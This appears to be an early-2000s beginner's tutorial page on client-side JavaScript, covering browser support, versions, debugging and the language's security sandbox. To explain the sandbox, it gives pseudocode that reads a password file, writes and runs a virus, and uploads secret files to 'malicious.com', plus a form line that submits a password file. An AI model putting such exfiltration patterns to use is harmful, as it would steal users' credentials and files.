JavaScript is mainly in use as a client side scripting language. This means that the JavaScript code is written into an HTML page. When a user requests an HTML page with JavaScript in it, the script is sent to the browser and it's up to the browser to do something with it.
Fortunately most browsers can handle JavaScript nowadays, but of course some browsers do not support some bits of script. On this site, I try to keep up with all JavaScript browsers and to note the support they give to the various JavaScript methods and properties, and also their quirks. I give compatibility information for each script on this site, so that you know which browsers will have problems.
The fact that the script is in the HTML page means that your scripts can be seen and copied by whoever views your page. Nonetheless, to my mind this openness is a great advantage, because the flip side is that you can view, study and use any JavaScript you encounter on the WWW.
JavaScript can be used in other contexts than a Web browser. Netscape created server-side JavaScript as a CGI-language that can do roughly the same as Perl or ASP. There is no reason why JavaScript couldn’t be used to write real, complex programs. However, this site exclusively deals with the use of JavaScript in web browsers.
If you don’t have any programming experience at all it’s best to start with some gentle JavaScript examples that teach you some basics. It might be a good idea to buy Negrino & Smith, “JavaScript for the World Wide Web”, 4th edition, Peachpit Press, 2001. It contains some very useful examples and though it doesn’t treat advanced programming tricks, it will certainly help you get started. Of course this site also offers plenty of help.
JavaScript is not the same as Java. I repeat: JavaScript is not the same as Java.
Although the names are much alike, JavaScript is primarily a scripting language for use within HTML pages, while Java is a real programming language that does quite different things from JavaScript. In addition Java is much harder to learn. It was developed by Sun for use in pretty much anything that needs some computing power.
JavaScript was developed by Netscape for both client side (in the browser) and server side scripting. Originally the language was called Live Script, but when it was about to be released Java had become immensely popular (and slightly hypey). Therefore Netscape at the last possible moment changed the name of its scripting language to “JavaScript”. This was done purely for marketing reasons.
Java and JavaScript both descend from C and C++, but the languages (or rather, their ancestors) have gone in quite different directions. You can see them as distantly related cousins. Both are object oriented (though this is less important in JavaScript than in many other languages) and they share some syntax, but the differences are more important than the similarities.
If you are a C++ or Java programmer you will be surprised by some of JavaScript’s features. Since I don’t have any previous programming experience, the differences are not described on this site. The best you can do is buy David Flanagan, “JavaScript, the Definitive Guide”, 4th edition, O’Reilly, 2001. In this book the differences between C++/Java and JavaScript are clearly explained. I co–edited chapters 17-19 of this book.
JavaScript is not a programming language in strict sense. Instead, it is a scripting language because it uses the browser to do the dirty work. If you command an image to be replaced by another one, JavaScript tells the browser to go do it. Because the browser actually does the work, you only need to pull some strings by writing some relatively easy lines of code. That’s what makes JavaScript an easy language to start with.
But don’t be fooled by some beginner’s luck: JavaScript can be pretty difficult, too. First of all, despite its simple appearance it is a full fledged programming language: it is possible to write quite complex programs in JavaScript. This is rarely necessary when dealing with web pages, but it is possible. This means that there are some complex programming structures that you’ll only understand after protracted studies.
Secondly, and more importantly, there are the browser differences. Though modern web browsers all support JavaScript, there is no sacred law that says they should support exactly the same JavaScript. A large part of this site is devoted to exploring and explaining these browser differences and finding ways to cope with them.
So basic JavaScript is easy to learn, but when you start writing advanced scripts browser differences (and occasionally syntactic problems) will creep up.
Client–side JavaScript has expressly been developed for use in a web browser in conjunction with HTML pages. This has certain consequences for security.
First of all, please note carefully what happens when a user visits a JavaScript–enhanced
web site:
The user asks for a certain HTML page without knowing whether it contains JavaScript.
The HTML page is delivered to the browser, including the scripts.
The scripts usually run automatically when the page loads or when the user takes a certain
action. In general the user can’t do anything to stop the scripts (well, he could turn
off JavaScript, but few end users know how to do this, or that it can be done, or that JavaScript
exists).
So basically an innocent end user downloads a random program and allows it to be executed on his machine. Therefore there should be strict rules as to what this program can and cannot do.
filesystem.read('/my/password/file');
filesystem.write('horridvirus.exe');
execute('horridvirus.exe')
var security_hazard = connection.open('malicious.com');
security_hazard.upload(filesystem.read('/my/password/file'));
security_hazard.upload(filesystem.read('/ultra_secret/loans.xls'));
Thus JavaScript simply cannot do such dangerous things. Unfortunately Microsoft has seen fit to add some filesystem commands nonetheless, in combination with its ActiveX technology. This means that Explorer on Windows is structurally less safe than any other browser. It has some built–in protection, but hackers regularly find weaknesses. The first JavaScript virus I heard of works in such a way.
So JavaScript only works on things that are in HTML pages or part of the browser. You cannot influence anything that's not contained by the browser. But even within the browser there are some no–go areas. Basically JavaScript wants to protect the privacy of the user by disallowing some actions and asking permission for others:
<INPUT TYPE="file">).
document.forms[0].upload_field.value = '/my/password/file'; document.forms[0].submit();
Thus JavaScript is a scripting language for influencing HTML elements, like forms, images, layers, paragraphs and such, and for influencing a few non–HTML objects like the browser window. Nothing more, but (most importantly) nothing less.
When a user receives a page which includes JavaScript, the JavaScript interpreter of his browser kicks in and tries to execute the script. Now the main problem here is that the various browsers each use their own interpreter, and that sometimes browser vendors have chosen not to implement a bit of JavaScript. Their reasons were usually related to business advantage over the competitors.
Hence the feared browser incompatibilities.
In addition each new browser version understands more JavaScript and allows more and more parts of the HTML page to be changed by scripts. This leads to even more incompatibilities.
To better understand the cause these problems you need to know something about JavaScript history. Though I’m an historian by profession, I haven’t yet written any coherent article on this subject, but once I will.
In the meantime it’s best to solve compatibility problems on a case–by–case basis. In fact, most pages on this site have been written precisely because of browser incompatibilities. So read on to understand more. But I warn you: it’s quite a lot of information you need to digest. Therefore it’s best to solve the problem at hand and leave the rest of the information alone until you need it.
The differences between the versions are simpler than those between browsers. Here’s a quick overview.
I divide JavaScript browsers into Version 2, Version 3, Version 4 and Version 5 browsers. This version number of mine is quoted on each page in this site. The breakdown is:
As you’ll notice this versioning system closely follows Netscape’s progress. In this system there aren’t any Version 6 browsers yet because Netscape 6 is in fact the fifth Netscape version, while Explorer 6 is basically Explorer 5.6, because there is little change from 5.5, certainly nothing to merit a new version number. Opera versions follow their own pattern that has nothing to do with the Netscape/Explorer pattern. Opera 6 is a Version 4 browser (confused yet?).
In short, a browser version number has become a marketing ploy. Therefore my system doesn’t really have anything to do with the version numbers of the newest browsers. I’m wondering if I should change it but I haven’t yet taken a decision.
There have been several formal versions of JavaScript.
Originally, these version numbers were supposed to give support information. This-and-that method would only be supported by browsers understanding JavaScript 1.something . The higher the version number, the more nifty features the browser would support.
<script language="javascript1.3" type="text/javascript"> <!-- complex script goes here and is executed only by browsers that support JavaScript 1.3 // --> </script> <script language="javascript1.0" type="text/javascript"> <!-- simple script goes here and is executed by all JavaScript browsers // --> </script>
However, one very important distinction must be made. The main modules of JavaScript are Core and DOM, as I will explain more fully on a later page. JavaScript versions can be very helpful when trying to determine Core support, but they are useless for determining DOM support, or any browser feature.
In addition, specifying JavaScript 1.2 in Netscape 4 can have some unexpected
side effects that are too complicated to explain right now.
Therefore I pay little attention to the versions, and I advise you not to use them. Two browsers may claim to support JavaScript 1.2 but nevertheless be quite different (Netscape 4 and Explorer 4 spring to mind). So for day–to–day scripts the JavaScript version is unimportant.
Then how do you determine whether a browser can handle your script? The basic rule, the overall concept is: don’t use a browser detect, use an object detect.
When I've written a script, I always check it in Netscape first, because Netscape is a much
better tool for debugging JavaScripts than Explorer. In Netscape 6, select Tasks => Tools =>
JavaScript console to see the errors of your ways. In Netscape 4, type javascript:
in the location bar and press Enter.
Having debugged in Netscape, I check in Explorer. Strictly speaking Explorer supports not JavaScript but JScript, which is the Microsoft way of doing things. For simple scripts this does not matter, because JScript supports all basic JavaScript commands.
Explorer gives error messages too, but the information is far less useful. Explorer 5 has slightly better JavaScript debugging than Explorer 4, but in this respect Netscape remains far better equipped.
As to the minor browsers, usually they offer JavaScript error messages, but most of the time you have to turn them on. See the browsers page for specific information.
See also evolt.org for a good article on JavaScript debugging.
If you’re a beginning JavaScripter, read the Object detection page first. It’s the most important page on this site since it gives you the basic JavaScript rule: don’t use a browser detect, use object detection.
Once you’ve read through this page, it’s best to try the mouseover script. The effect is still very popular and once you’ve studied the script you’ll understand some basics of Core, DOM Level 0 and Event Handling.
After that you’re on your own. Later on I’ll provide a more structured introduction to the various modules of JavaScript.